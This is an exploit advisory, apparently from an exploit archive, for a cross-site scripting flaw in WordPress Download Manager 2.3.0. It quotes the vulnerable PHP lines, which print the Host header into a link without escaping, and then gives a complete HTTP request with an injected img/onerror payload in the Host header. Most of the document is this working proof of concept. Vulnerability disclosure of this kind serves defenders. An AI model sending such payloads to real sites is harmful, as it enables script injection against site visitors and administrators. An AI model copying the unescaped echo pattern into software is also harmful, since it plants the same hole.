# Exploit Title: Wordpress Download Manager 2.3.0 XSS # Date: 30/01/2016 # Exploit Author: nopesled # Version: 2.3.0 and possibly earlier This exploit only works for the default virtual host Vulnerable code --------------------- Line 19-22 wpdm-list-files.php: <div class="updated" style="padding:5px 10px;color:#008000;font-weight:bold;"> <a style="color: #3399ff;" href="http://www.wpdownloadmanager.com/?ref=wpadmin&domain=<?php echo $_SERVER['HTTP_HOST']; ?>" target="_blank">Get download manager premium version now! only @ 45.00 $ </a> | <a style="color: #3399ff;" href="http://www.wpdownloadmanager.com/?ref=wpadmin&domain=<?php echo $_SERVER['HTTP_HOST']; ?>#features" target="_blank">Checkout the features here</a> </div> Exploit --------- Send the following HTTP request: GET /wp-content/plugins/download-manager-2.3.0/wpdm-list-files.php HTTP/1.1 Host: "><img src=x onerror=alert(1)> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cache-Control: max-age=0